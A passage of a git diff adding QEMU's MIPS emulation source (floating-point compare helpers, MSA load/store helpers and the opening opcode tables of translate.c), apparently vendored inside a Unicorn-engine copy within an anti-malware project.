fsth1, &env->active_fpu.fp_status)) +FOP_COND_PS(ule, float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status) || float32_le_quiet(fst0, fst1, &env->active_fpu.fp_status), + float32_unordered_quiet(fsth1, fsth0, &env->active_fpu.fp_status) || float32_le_quiet(fsth0, fsth1, &env->active_fpu.fp_status)) +/* NOTE: the comma operator will make "cond" to eval to false, + * but float32_unordered() is still called. */ +FOP_COND_PS(sf, (float32_unordered(fst1, fst0, &env->active_fpu.fp_status), 0), + (float32_unordered(fsth1, fsth0, &env->active_fpu.fp_status), 0)) +FOP_COND_PS(ngle,float32_unordered(fst1, fst0, &env->active_fpu.fp_status), + float32_unordered(fsth1, fsth0, &env->active_fpu.fp_status)) +FOP_COND_PS(seq, float32_eq(fst0, fst1, &env->active_fpu.fp_status), + float32_eq(fsth0, fsth1, &env->active_fpu.fp_status)) +FOP_COND_PS(ngl, float32_unordered(fst1, fst0, &env->active_fpu.fp_status) || float32_eq(fst0, fst1, &env->active_fpu.fp_status), + float32_unordered(fsth1, fsth0, &env->active_fpu.fp_status) || float32_eq(fsth0, fsth1, &env->active_fpu.fp_status)) +FOP_COND_PS(lt, float32_lt(fst0, fst1, &env->active_fpu.fp_status), + float32_lt(fsth0, fsth1, &env->active_fpu.fp_status)) +FOP_COND_PS(nge, float32_unordered(fst1, fst0, &env->active_fpu.fp_status) || float32_lt(fst0, fst1, &env->active_fpu.fp_status), + float32_unordered(fsth1, fsth0, &env->active_fpu.fp_status) || float32_lt(fsth0, fsth1, &env->active_fpu.fp_status)) +FOP_COND_PS(le, float32_le(fst0, fst1, &env->active_fpu.fp_status), + float32_le(fsth0, fsth1, &env->active_fpu.fp_status)) +FOP_COND_PS(ngt, float32_unordered(fst1, fst0, &env->active_fpu.fp_status) || float32_le(fst0, fst1, &env->active_fpu.fp_status), + float32_unordered(fsth1, fsth0, &env->active_fpu.fp_status) || float32_le(fsth0, fsth1, &env->active_fpu.fp_status)) + +/* R6 compare operations */ +#define FOP_CONDN_D(op, cond) \ +uint64_t helper_r6_cmp_d_ ## op(CPUMIPSState * env, uint64_t fdt0, \ + uint64_t fdt1) \ +{ \ + uint64_t c; \ + c = cond; \ + update_fcr31(env, GETPC()); \ + if (c) { \ + return -1; \ + } else { \ + return 0; \ + } \ +} + +/* NOTE: the comma operator will make "cond" to eval to false, + * but float64_unordered_quiet() is still called. */ +FOP_CONDN_D(af, (float64_unordered_quiet(fdt1, fdt0, &env->active_fpu.fp_status), 0)) +FOP_CONDN_D(un, (float64_unordered_quiet(fdt1, fdt0, &env->active_fpu.fp_status))) +FOP_CONDN_D(eq, (float64_eq_quiet(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(ueq, (float64_unordered_quiet(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_eq_quiet(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(lt, (float64_lt_quiet(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(ult, (float64_unordered_quiet(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_lt_quiet(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(le, (float64_le_quiet(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(ule, (float64_unordered_quiet(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_le_quiet(fdt0, fdt1, &env->active_fpu.fp_status))) +/* NOTE: the comma operator will make "cond" to eval to false, + * but float64_unordered() is still called. */ +FOP_CONDN_D(saf, (float64_unordered(fdt1, fdt0, &env->active_fpu.fp_status), 0)) +FOP_CONDN_D(sun, (float64_unordered(fdt1, fdt0, &env->active_fpu.fp_status))) +FOP_CONDN_D(seq, (float64_eq(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(sueq, (float64_unordered(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_eq(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(slt, (float64_lt(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(sult, (float64_unordered(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_lt(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(sle, (float64_le(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(sule, (float64_unordered(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_le(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(or, (float64_le_quiet(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_le_quiet(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(une, (float64_unordered_quiet(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_lt_quiet(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_lt_quiet(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(ne, (float64_lt_quiet(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_lt_quiet(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(sor, (float64_le(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_le(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(sune, (float64_unordered(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_lt(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_lt(fdt0, fdt1, &env->active_fpu.fp_status))) +FOP_CONDN_D(sne, (float64_lt(fdt1, fdt0, &env->active_fpu.fp_status) + || float64_lt(fdt0, fdt1, &env->active_fpu.fp_status))) + +#define FOP_CONDN_S(op, cond) \ +uint32_t helper_r6_cmp_s_ ## op(CPUMIPSState * env, uint32_t fst0, \ + uint32_t fst1) \ +{ \ + uint64_t c; \ + c = cond; \ + update_fcr31(env, GETPC()); \ + if (c) { \ + return -1; \ + } else { \ + return 0; \ + } \ +} + +/* NOTE: the comma operator will make "cond" to eval to false, + * but float32_unordered_quiet() is still called. */ +FOP_CONDN_S(af, (float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status), 0)) +FOP_CONDN_S(un, (float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status))) +FOP_CONDN_S(eq, (float32_eq_quiet(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(ueq, (float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status) + || float32_eq_quiet(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(lt, (float32_lt_quiet(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(ult, (float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status) + || float32_lt_quiet(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(le, (float32_le_quiet(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(ule, (float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status) + || float32_le_quiet(fst0, fst1, &env->active_fpu.fp_status))) +/* NOTE: the comma operator will make "cond" to eval to false, + * but float32_unordered() is still called. */ +FOP_CONDN_S(saf, (float32_unordered(fst1, fst0, &env->active_fpu.fp_status), 0)) +FOP_CONDN_S(sun, (float32_unordered(fst1, fst0, &env->active_fpu.fp_status))) +FOP_CONDN_S(seq, (float32_eq(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(sueq, (float32_unordered(fst1, fst0, &env->active_fpu.fp_status) + || float32_eq(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(slt, (float32_lt(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(sult, (float32_unordered(fst1, fst0, &env->active_fpu.fp_status) + || float32_lt(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(sle, (float32_le(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(sule, (float32_unordered(fst1, fst0, &env->active_fpu.fp_status) + || float32_le(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(or, (float32_le_quiet(fst1, fst0, &env->active_fpu.fp_status) + || float32_le_quiet(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(une, (float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status) + || float32_lt_quiet(fst1, fst0, &env->active_fpu.fp_status) + || float32_lt_quiet(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(ne, (float32_lt_quiet(fst1, fst0, &env->active_fpu.fp_status) + || float32_lt_quiet(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(sor, (float32_le(fst1, fst0, &env->active_fpu.fp_status) + || float32_le(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(sune, (float32_unordered(fst1, fst0, &env->active_fpu.fp_status) + || float32_lt(fst1, fst0, &env->active_fpu.fp_status) + || float32_lt(fst0, fst1, &env->active_fpu.fp_status))) +FOP_CONDN_S(sne, (float32_lt(fst1, fst0, &env->active_fpu.fp_status) + || float32_lt(fst0, fst1, &env->active_fpu.fp_status))) + +/* MSA */ +/* Data format min and max values */ +#define DF_BITS(df) (1 << ((df) + 3)) + +/* Element-by-element access macros */ +#define DF_ELEMENTS(df) (MSA_WRLEN / DF_BITS(df)) + +void helper_msa_ld_df(CPUMIPSState *env, uint32_t df, uint32_t wd, uint32_t rs, + int32_t s10) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + target_ulong addr = env->active_tc.gpr[rs] + (s10 << df); + int i; + + switch (df) { + case DF_BYTE: + for (i = 0; i < DF_ELEMENTS(DF_BYTE); i++) { + pwd->b[i] = do_lbu(env, addr + (i << DF_BYTE), + env->hflags & MIPS_HFLAG_KSU); + } + break; + case DF_HALF: + for (i = 0; i < DF_ELEMENTS(DF_HALF); i++) { + pwd->h[i] = do_lhu(env, addr + (i << DF_HALF), + env->hflags & MIPS_HFLAG_KSU); + } + break; + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + pwd->w[i] = do_lw(env, addr + (i << DF_WORD), + env->hflags & MIPS_HFLAG_KSU); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + pwd->d[i] = do_ld(env, addr + (i << DF_DOUBLE), + env->hflags & MIPS_HFLAG_KSU); + } + break; + } +} + +void helper_msa_st_df(CPUMIPSState *env, uint32_t df, uint32_t wd, uint32_t rs, + int32_t s10) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + target_ulong addr = env->active_tc.gpr[rs] + (s10 << df); + int i; + + switch (df) { + case DF_BYTE: + for (i = 0; i < DF_ELEMENTS(DF_BYTE); i++) { + do_sb(env, addr + (i << DF_BYTE), pwd->b[i], + env->hflags & MIPS_HFLAG_KSU); + } + break; + case DF_HALF: + for (i = 0; i < DF_ELEMENTS(DF_HALF); i++) { + do_sh(env, addr + (i << DF_HALF), pwd->h[i], + env->hflags & MIPS_HFLAG_KSU); + } + break; + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + do_sw(env, addr + (i << DF_WORD), pwd->w[i], + env->hflags & MIPS_HFLAG_KSU); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + do_sd(env, addr + (i << DF_DOUBLE), pwd->d[i], + env->hflags & MIPS_HFLAG_KSU); + } + break; + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/translate.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/translate.c new file mode 100644 index 0000000..9a3ac9e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/translate.c @@ -0,0 +1,19748 @@ +/* + * MIPS32 emulation for qemu: main translation routines. + * + * Copyright (c) 2004-2005 Jocelyn Mayer + * Copyright (c) 2006 Marius Groeger (FPU operations) + * Copyright (c) 2006 Thiemo Seufer (MIPS32R2 support) + * Copyright (c) 2009 CodeSourcery (MIPS16 and microMIPS support) + * Copyright (c) 2012 Jia Liu & Dongxue Zhang (MIPS ASE DSP support) + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "tcg-op.h" +#include "exec/cpu_ldst.h" + +#include "exec/helper-proto.h" +#include "exec/helper-gen.h" + +#include "exec/gen-icount.h" + +#define MIPS_DEBUG_DISAS 0 +//#define MIPS_DEBUG_SIGN_EXTENSIONS + +/* MIPS major opcodes */ +#define MASK_OP_MAJOR(op) (op & (((uint32_t)0x3F) << 26)) + +enum { + /* indirect opcode tables */ + OPC_SPECIAL = (0x00 << 26), + OPC_REGIMM = (0x01 << 26), + OPC_CP0 = (0x10 << 26), + OPC_CP1 = (0x11 << 26), + OPC_CP2 = (0x12 << 26), + OPC_CP3 = (0x13 << 26), + OPC_SPECIAL2 = (0x1C << 26), + OPC_SPECIAL3 = (0x1F << 26), + /* arithmetic with immediate */ + OPC_ADDI = (0x08 << 26), + OPC_ADDIU = (0x09 << 26), + OPC_SLTI = (0x0A << 26), + OPC_SLTIU = (0x0B << 26), + /* logic with immediate */ + OPC_ANDI = (0x0C << 26), + OPC_ORI = (0x0D << 26), + OPC_XORI = (0x0E << 26), + OPC_LUI = (0x0F << 26), + /* arithmetic with immediate */ + OPC_DADDI = (0x18 << 26), + OPC_DADDIU = (0x19 << 26), + /* Jump and branches */ + OPC_J = (0x02 << 26), + OPC_JAL = (0x03 << 26), + OPC_BEQ = (0x04 << 26), /* Unconditional if rs = rt = 0 (B) */ + OPC_BEQL = (0x14 << 26), + OPC_BNE = (0x05 << 26), + OPC_BNEL = (0x15 << 26), + OPC_BLEZ = (0x06 << 26), + OPC_BLEZL = (0x16 << 26), + OPC_BGTZ = (0x07 << 26), + OPC_BGTZL = (0x17 << 26), + OPC_JALX = (0x1D << 26), + OPC_DAUI = (0x1D << 26), + /* Load and stores */ + OPC_LDL = (0x1A << 26), + OPC_LDR = (0x1B << 26), + OPC_LB = (0x20 << 26), + OPC_LH = (0x21 << 26), + OPC_LWL = (0x22 << 26), + OPC_LW = (0x23 << 26), + OPC_LWPC = OPC_LW | 0x5, + OPC_LBU = (0x24 << 26), + OPC_LHU = (0x25 << 26), + OPC_LWR = (0x26 << 26), + OPC_LWU = (0x27 << 26), + OPC_SB = (0x28 << 26), + OPC_SH = (0x29 << 26), + OPC_SWL = (0x2A << 26), + OPC_SW = (0x2B << 26), + OPC_SDL = (0x2C << 26), + OPC_SDR = (0x2D << 26), + OPC_SWR = (0x2E << 26), + OPC_LL = (0x30 << 26), + OPC_LLD = (0x34 << 26), + OPC_LD = (0x37 << 26), + OPC_LDPC = OPC_LD | 0x5, + OPC_SC = (0x38 << 26), + OPC_SCD = (0x3C << 26), + OPC_SD = (0x3F << 26), + /* Floating point load/store */ + OPC_LWC1 = (0x31 << 26), + OPC_LWC2 = (0x32 << 26), + OPC_LDC1 = (0x35 << 26), + OPC_LDC2 = (0x36 << 26), + OPC_SWC1 = (0x39 << 26), + OPC_SWC2 = (0x3A << 26), + OPC_SDC1 = (0x3D << 26), + OPC_SDC2 = (0x3E << 26), + /* Compact Branches */ + OPC_BLEZALC = (0x06 << 26), + OPC_BGEZALC = (0x06 << 26), + OPC_BGEUC = (0x06 << 26), + OPC_BGTZALC = (0x07 << 26), + OPC_BLTZALC = (0x07 << 26), + OPC_BLTUC = (0x07 << 26), + OPC_BOVC = (0x08 << 26), + OPC_BEQZALC = (0x08 << 26), + OPC_BEQC = (0x08 << 26), + OPC_BLEZC = (0x16 << 26), + OPC_BGEZC = (0x16 << 26), + OPC_BGEC = (0x16 << 26), + OPC_BGTZC = (0x17 << 26), + OPC_BLTZC = (0x17 << 26), + OPC_BLTC = (0x17 << 26), + OPC_BNVC = (0x18 << 26), + OPC_BNEZALC = (0x18 << 26), + OPC_BNEC = (0x18 << 26), + OPC_BC = (0x32 << 26), + OPC_BEQZC = (0x36 << 26), + OPC_JIC = (0x36 << 26), + OPC_BALC = (0x3A << 26), + OPC_BNEZC = (0x3E << 26), + OPC_JIALC = (0x3E << 26), + /* MDMX ASE specific */ + OPC_MDMX = (0x1E << 26), + /* MSA ASE, same as MDMX */ + OPC_MSA = OPC_MDMX, + /* Cache and prefetch */ + OPC_CACHE = (0x2F << 26), + OPC_PREF = (0x33 << 26), + /* PC-relative address computation / loads */ + OPC_PCREL = (0x3B << 26), +}; + +/* PC-relative address computation / loads */ +#define MASK_OPC_PCREL_TOP2BITS(op) (MASK_OP_MAJOR(op) | (op & (3 << 19))) +#define MASK_OPC_PCREL_TOP5BITS(op) (MASK_OP_MAJOR(op) | (op & (0x1f << 16))) +enum { + /* Instructions determined by bits 19 and 20 */ + OPC_ADDIUPC = OPC_PCREL | (0 << 19), + R6_OPC_LWPC = OPC_PCREL | (1 << 19), + OPC_LWUPC = OPC_PCREL | (2 << 19), + + /* Instructions determined by bits 16 ... 20 */ + OPC_AUIPC = OPC_PCREL | (0x1e << 16), + OPC_ALUIPC = OPC_PCREL | (0x1f << 16), + + /* Other */ + R6_OPC_LDPC = OPC_PCREL | (6 << 18), +}; + +/* MIPS special opcodes */ +#define MASK_SPECIAL(op) MASK_OP_MAJOR(op) | (op & 0x3F) + +enum { + /* Shifts */ + OPC_SLL = 0x00 | OPC_SPECIAL, + /* NOP is SLL r0, r0, 0 */ + /* SSNOP is SLL r0, r0, 1 */ + /* EHB is SLL r0, r0, 3 */ + OPC_SRL = 0x02 | OPC_SPECIAL, /* also ROTR */ + OPC_ROTR = OPC_SRL | (1 << 21), + OPC_SRA = 0x03 | OPC_SPECIAL, + OPC_SLLV = 0x04 | OPC_SPECIAL, + OPC_SRLV = 0x06 | OPC_SPECIAL, /* also ROTRV */ + OPC_ROTRV = OPC_SRLV | (1 << 6), + OPC_SRAV = 0x07 | OPC_SPECIAL, + OPC_DSLLV = 0x14 | OPC_SPECIAL, + OPC_DSRLV = 0x16 | OPC_SPECIAL, /* also DROTRV */ + OPC_DROTRV = OPC_DSRLV | (1 << 6), + OPC_DSRAV = 0x17 | OPC_SPECIAL, + OPC_DSLL = 0x38 | OPC_SPECIAL, + OPC_DSRL = 0x3A | OPC_SPECIAL, /* also DROTR */ + OPC_DROTR = OPC_DSRL | (1 << 21), + OPC_DSRA = 0x3B | OPC_SPECIAL, + OPC_DSLL32 = 0x3C | OPC_SPECIAL, + OPC_DSRL32 = 0x3E | OPC_SPECIAL, /* also DROTR32 */ + OPC_DROTR32 = OPC_DSRL32 | (1 << 21), + OPC_DSRA32 = 0x3F | OPC_SPECIAL, + /* Multiplication / division */ + OPC_MULT = 0x18 | OPC_SPECIAL, + OPC_MULTU = 0x19 | OPC_SPECIAL, + OPC_DIV = 0x1A | OPC_SPECIAL, + OPC_DIVU = 0x1B | OPC_SPECIAL, + OPC_DMULT = 0x1C | OPC_SPECIAL, + OPC_DMULTU = 0x1D | OPC_SPECIAL, + OPC_DDIV = 0x1E | OPC_SPECIAL, + OPC_DDIVU = 0x1F | OPC_SPECIAL, + + /* 2 registers arithmetic / logic */ + OPC_ADD = 0x20 | OPC_SPECIAL, + OPC_ADDU = 0x21 | OPC_SPECIAL, + OPC_SUB = 0x22 | OPC_SPECIAL, + OPC_SUBU = 0x23 | OPC_SPECIAL, + OPC_AND = 0x24 | OPC_SPECIAL, + OPC_OR = 0x25 | OPC_SPECIAL, + OPC_XOR = 0x26 | OPC_SPECIAL, + OPC_NOR = 0x27 | OPC_SPECIAL, + OPC_SLT = 0x2A | OPC_SPECIAL, + OPC_SLTU = 0x2B | OPC_SPECIAL, + OPC_DADD = 0x2C | OPC_SPECIAL, + OPC_DADDU = 0x2D | OPC_SPECIAL, + OPC_DSUB = 0x2E | OPC_SPECIAL, + OPC_DSUBU = 0x2F | OPC_SPECIAL, + /* Jumps */ + OPC_JR = 0x08 | OPC_SPECIAL, /* Also JR.HB */ + OPC_JALR = 0x09 | OPC_SPECIAL, /* Also JALR.HB */ + /* Traps */ + OPC_TGE = 0x30 | OPC_SPECIAL, + OPC_TGEU = 0x31 | OPC_SPECIAL, + OPC_TLT = 0x32 | OPC_SPECIAL, + OPC_TLTU = 0x33 | OPC_SPECIAL, + OPC_TEQ = 0x34 | OPC_SPECIAL, + OPC_TNE = 0x36 | OPC_SPECIAL, + /* HI / LO registers load & stores */ + OPC_MFHI = 0x10 | OPC_SPECIAL, + OPC_MTHI = 0x11 | OPC_SPECIAL, + OPC_MFLO = 0x12 | OPC_SPECIAL, + OPC_MTLO = 0x13 | OPC_SPECIAL, + /* Conditional moves */ + OPC_MOVZ = 0x0A | OPC_SPECIAL, + OPC_MOVN = 0x0B | OPC_SPECIAL, + + OPC_SELEQZ = 0x35 | OPC_SPECIAL, + OPC_SELNEZ = 0x37 | OPC_SPECIAL, + + OPC_MOVCI = 0x01 | OPC_SPECIAL, + + /* Special */ + OPC_PMON = 0x05 | OPC_SPECIAL, /* unofficial */ + OPC_SYSCALL = 0x0C | OPC_SPECIAL, + OPC_BREAK = 0x0D | OPC_SPECIAL, + OPC_SPIM = 0x0E | OPC_SPECIAL, /* unofficial */ + OPC_SYNC = 0x0F | OPC_SPECIAL, + + OPC_SPECIAL28_RESERVED = 0x28 | OPC_SPECIAL, + OPC_SPECIAL29_RESERVED = 0x29 | OPC_SPECIAL, + OPC_SPECIAL39_RESERVED = 0x39 | OPC_SPECIAL, + OPC_SPECIAL3D_RESERVED = 0x3D | OPC_SPECIAL, +}; + +/* R6 Multiply and Divide instructions have the same Opcode + and function field as legacy OPC_MULT[U]/OPC_DIV[U] */ +#define MASK_R6_MULDIV(op) (MASK_SPECIAL(op) | (op & (0x7ff))) + +enum { + R6_OPC_MUL = OPC_MULT | (2 << 6), + R6_OPC_MUH = OPC_MULT | (3 << 6), + R6_OPC_MULU = OPC_MULTU | (2 << 6), + R6_OPC_MUHU = OPC_MULTU | (3 << 6), + R6_OPC_DIV = OPC_DIV | (2 << 6), + R6_OPC_MOD = OPC_DIV | (3 << 6), + R6_OPC_DIVU = OPC_DIVU | (2 << 6), + R6_OPC_MODU = OPC_DIVU | (3 << 6), + + R6_OPC_DMUL = OPC_DMULT | (2 << 6), + R6_OPC_DMUH = OPC_DMULT | (3 << 6), + R6_OPC_DMULU = OPC_DMULTU | (2 << 6), + R6_OPC_DMUHU = OPC_DMULTU | (3 << 6), + R6_OPC_DDIV = OPC_DDIV | (2 << 6), + R6_OPC_DMOD = OPC_DDIV | (3 << 6), + R6_OPC_DDIVU = OPC_DDIVU | (2 << 6), + R6_OPC_DMODU = OPC_DDIVU | (3 << 6), + + R6_OPC_CLZ = 0x10 | OPC_SPECIAL, + R6_OPC_CLO = 0x11 | OPC_SPECIAL, + R6_OPC_DCLZ = 0x12 | OPC_SPECIAL, + R6_OPC_DCLO = 0x13 | OPC_SPECIAL, + R6_OPC_SDBBP = 0x0e | OPC_SPECIAL, + + OPC_LSA = 0x05 | OPC_SPECIAL, + OPC_DLSA = 0x15 | OPC_SPECIAL, +}; + +/* Multiplication variants of the vr54xx. */ +#define MASK_MUL_VR54XX(op) MASK_SPECIAL(op) | (op & (0x1F << 6)) + +enum { + OPC_VR54XX_MULS = (0x03 << 6) | OPC_MULT, + OPC_VR54XX_MULSU = (0x03 << 6) | OPC_MULTU, + OPC_VR54XX_MACC = (0x05 << 6) | OPC_MULT, + OPC_VR54XX_MACCU = (0x05 << 6) | OPC_MULTU, + OPC_VR54XX_MSAC = (0x07 << 6) | OPC_MULT, + OPC_VR54XX_MSACU = (0x07 << 6) | OPC_MULTU, + OPC_VR54XX_MULHI = (0x09 << 6) | OPC_MULT, + OPC_VR54XX_MULHIU = (0x09 << 6) | OPC_MULTU, + OPC_VR54XX_MULSHI = (0x0B << 6) | OPC_MULT, + OPC_VR54XX_MULSHIU = (0x0B << 6) | OPC_MULTU, + OPC_VR54XX_MACCHI = (0x0D << 6) | OPC_MULT, + OPC_VR54XX_MACCHIU = (0x0D << 6) | OPC_MULTU, + OPC_VR54XX_MSACHI = (0x0F << 6) | OPC_MULT, + OPC_VR54XX_MSACHIU = (0x0F << 6) | OPC_MULTU, +}; + +/* REGIMM (rt field) opcodes */ +#define MASK_REGIMM(op) MASK_OP_MAJOR(op) | (op & (0x1F << 16)) + +enum { + OPC_BLTZ = (0x00 << 16) | OPC_REGIMM, + OPC_BLTZL = (0x02 << 16) | OPC_REGIMM, + OPC_BGEZ = (0x01 << 16) | OPC_REGIMM, + OPC_BGEZL = (0x03 << 16) | OPC_REGIMM, + OPC_BLTZAL = (0x10 << 16) | OPC_REGIMM, + OPC_BLTZALL = (0x12 << 16) | OPC_REGIMM, + OPC_BGEZAL = (0x11 << 16) | OPC_REGIMM, + OPC_BGEZALL = (0x13 << 16) | OPC_REGIMM, + OPC_TGEI = (0x08 << 16) | OPC_REGIMM, + OPC_TGEIU = (0x09 << 16) | OPC_REGIMM, + OPC_TLTI = (0x0A << 16) | OPC_REGIMM, + OPC_TLTIU = (0x0B << 16) | OPC_REGIMM, + OPC_TEQI = (0x0C << 16) | OPC_REGIMM, + OPC_TNEI = (0x0E << 16) | OPC_REGIMM, + OPC_SYNCI = (0x1F << 16) | OPC_REGIMM, + + OPC_DAHI = (0x06 << 16) | OPC_REGIMM, + OPC_DATI = (0x1e << 16) | OPC_REGIMM, +}; + +/* Special2 opcodes */ +#define MASK_SPECIAL2(op) MASK_OP_MAJOR(op) | (op & 0x3F) + +enum { + /* Multiply & xxx operations */ + OPC_MADD = 0x00 | OPC_SPECIAL2, + OPC_MADDU = 0x01 | OPC_SPECIAL2, + OPC_MUL = 0x02 | OPC_SPECIAL2, + OPC_MSUB = 0x04 | OPC_SPECIAL2, + OPC_MSUBU = 0x05 | OPC_SPECIAL2, + /* Loongson 2F */ + OPC_MULT_G_2F = 0x10 | OPC_SPECIAL2, + OPC_DMULT_G_2F = 0x11 | OPC_SPECIAL2, + OPC_MULTU_G_2F = 0x12 | OPC_SPECIAL2, + OPC_DMULTU_G_2F = 0x13 | OPC_SPECIAL2, + OPC_DIV_G_2F = 0x14 | OPC_SPECIAL2, + OPC_DDIV_G_2F = 0x15 | OPC_SPECIAL2, + OPC_DIVU_G_2F = 0x16 | OPC_SPECIAL2, + OPC_DDIVU_G_2F = 0x17 | OPC_SPECIAL2, + OPC_MOD_G_2F = 0x1c | OPC_SPECIAL2, + OPC_DMOD_G_2F = 0x1d | OPC_SPECIAL2, + OPC_MODU_G_2F = 0x1e | OPC_SPECIAL2, + OPC_DMODU_G_2F = 0x1f | OPC_SPECIAL2, + /* Misc */ + OPC_CLZ = 0x20 | OPC_SPECIAL2, + OPC_CLO = 0x21 | OPC_SPECIAL2, + OPC_DCLZ = 0x24 | OPC_SPECIAL2, + OPC_DCLO = 0x25 | OPC_SPECIAL2, + /* Special */ + OPC_SDBBP = 0x3F | OPC_SPECIAL2, +}; + +/* Special3 opcodes */ +#define MASK_SPECIAL3(op) MASK_OP_MAJOR(op) | (op & 0x3F) + +enum { + OPC_EXT = 0x00 | OPC_SPECIAL3, + OPC_DEXTM = 0x01 | OPC_SPECIAL3, + OPC_DEXTU = 0x02 | OPC_SPECIAL3, + OPC_DEXT = 0x03 | OPC_SPECIAL3, + OPC_INS = 0x04 | OPC_SPECIAL3, + OPC_DINSM = 0x05 | OPC_SPECIAL3, + OPC_DINSU = 0x06 | OPC_SPECIAL3, + OPC_DINS = 0x07 | OPC_SPECIAL3, + OPC_FORK = 0x08 | OPC_SPECIAL3, + OPC_YIELD = 0x09 | OPC_SPECIAL3, + OPC_BSHFL = 0x20 | OPC_SPECIAL3, + OPC_DBSHFL = 0x24 | OPC_SPECIAL3, + OPC_RDHWR = 0x3B | OPC_SPECIAL3, + + /* Loongson 2E */ + OPC_MULT_G_2E = 0x18 | OPC_SPECIAL3, + OPC_MULTU_G_2E = 0x19 | OPC_SPECIAL3, + OPC_DIV_G_2E = 0x1A | OPC_SPECIAL3, + OPC_DIVU_G_2E = 0x1B | OPC_SPECIAL3, + OPC_DMULT_G_2E = 0x1C | OPC_SPECIAL3, + OPC_DMULTU_G_2E = 0x1D | OPC_SPECIAL3, + OPC_DDIV_G_2E = 0x1E | OPC_SPECIAL3, + OPC_DDIVU_G_2E = 0x1F | OPC_SPECIAL3, + OPC_MOD_G_2E = 0x22 | OPC_SPECIAL3, + OPC_MODU_G_2E = 0x23 | OPC_SPECIAL3, + OPC_DMOD_G_2E = 0x26 | OPC_SPECIAL3, + OPC_DMODU_G_2E = 0x27 | OPC_SPECIAL3, + + /* MIPS DSP Load */ + OPC_LX_DSP = 0x0A | OPC_SPECIAL3, + /* MIPS DSP Arithmetic */ + OPC_ADDU_QB_DSP = 0x10 | OPC_SPECIAL3, + OPC_ADDU_OB_DSP = 0x14 | OPC_SPECIAL3, + OPC_ABSQ_S_PH_DSP = 0x12 | OPC_SPECIAL3, + OPC_ABSQ_S_QH_DSP = 0x16 | OPC_SPECIAL3, + /* OPC_ADDUH_QB_DSP is same as OPC_MULT_G_2E. */ + /* OPC_ADDUH_QB_DSP = 0x18 | OPC_SPECIAL3, */ + OPC_CMPU_EQ_QB_DSP = 0x11 | OPC_SPECIAL3, + OPC_CMPU_EQ_OB_DSP = 0x15 | OPC_SPECIAL3, + /* MIPS DSP GPR-Based Shift Sub-class */ + OPC_SHLL_QB_DSP = 0x13 | OPC_SPECIAL3, + OPC_SHLL_OB_DSP = 0x17 | OPC_SPECIAL3, + /* MIPS DSP Multiply Sub-class insns */ + 